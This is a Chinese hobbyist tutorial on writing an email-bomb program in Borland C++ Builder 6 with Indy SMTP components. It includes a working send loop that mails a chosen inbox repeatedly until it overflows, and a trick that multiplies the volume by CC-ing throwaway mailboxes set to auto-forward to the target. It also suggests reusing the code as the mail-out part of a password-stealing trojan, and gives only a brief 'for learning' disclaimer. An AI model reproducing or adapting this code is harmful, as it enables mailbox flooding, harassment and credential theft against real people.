测试环境:BCB6.0 +XP SP2
Email:c4rp3nt3r[4]gmial.com
前几在黑防看到利用BCB打造QQ消息炸弹。心里老痒痒,正好自己在学写邮箱发信的小程序,突然一想现在邮箱都有身份验证,所以邮箱炸弹少了,是不是自己也可以写一个邮箱炸弹呢?怎么说自己也看了好多期黑防,今天来实践一次。
思路很简单:就是不断的给一个邮箱发信,或者间隔多长时间发信,直到把邮箱撑爆。
程序是单线程的,如何才能提高发信效率呢?我发现现在的邮箱大多有自动转发功能,好我们先申请几个邮箱,设置自动转发到要轰炸邮箱,然后把我们申请的邮箱填到抄送栏目,那么我们就可以用很少的资源达到很好的效果。
程序的关键是利用BCB 6.0自带的Indy v8.0组建中的IdSMTP和IdMessage控件实现发信功能,相信菜菜看完后可以改为自己的盗号木马的发信部分.
编程实现:
打开bcb6.0,程序默认新建一个工程,我们在窗体上加入IndyClents标签的IdSMTP及Indy Misc标签的IdMessage控件,为发送邮件的控件..
一个Dialogs标签下的OpenDialog控件,为选择附件爱能用到的.
一个ComBoBox为选择smtp服务器的控件;
六个控件改name属fromEdit,nameEdit,pwdEdit,toEdit,chaosongEdit和timeEdit.一个ChackBox和一个GroupBox等如图所示:
关键发信代码如下:
IdMessage1->Recipients->EMailAddresses = toEdit->Text; //邮件接收者的信箱
IdMessage1->From->Text = fromEdit->Text; //邮件发送者的信箱
IdMessage1->Subject = subjectEdit->Text; //邮件的标题
IdMessage1->Body->Add(Memo1->Lines->Text);//邮件内容
IdMessage1->CCList->EMailAddresses = chaosongEdit->Text; //邮件的抄送地址
IdMessage1->MessageParts->Clear();
if(strcmp("\0",fujianEdit->Text.c_str())!=0)
{
AnsiString AttFile=fujianEdit->Text ; //附件文件名
IdMessage1->MessageParts->Add();
new TIdAttachment(IdMessage1->MessageParts,AttFile);
}
if (IdSMTP1->Connected())
{
IdSMTP1->Disconnect();
}
IdSMTP1->AuthenticationType = atLogin; //登录服务器类型选择
IdSMTP1->Host = ComboBox1->Text; //SMTP服务器
IdSMTP1->UserId = nameEdit->Text; //邮箱的用户名
IdSMTP1->Password = pwdEdit->Text; //邮箱的密码
IdSMTP1->Port = 25; //端口
IdSMTP1->Connect(); //连接SMTP服务器
if (IdSMTP1->Authenticate()) //用户验证
{
StatusBar1->SimpleText="登录服务器验证成功!";
for(int i=1;i<=StrToInt(timeEdit->Text);i++)
{
IdSMTP1->Send(IdMessage1); //发送邮件
StatusBar1->SimpleText="邮件发送成功";
if(CheckBox1->Checked)
Sleep(StrToInt(frequentEdit->Text)*60*1000); //暂停几分钟继续发送
}
}
IdSMTP1->Disconnect(); //中断连接SMTP服务器
}
用我自己的邮箱测试了一下效果还可以。发送垃圾邮件是不道德的事情,本文只为学习交流。
注:现在支持smtp发信的免费邮箱有sina,qq需要设置一下smtp和pop3收信。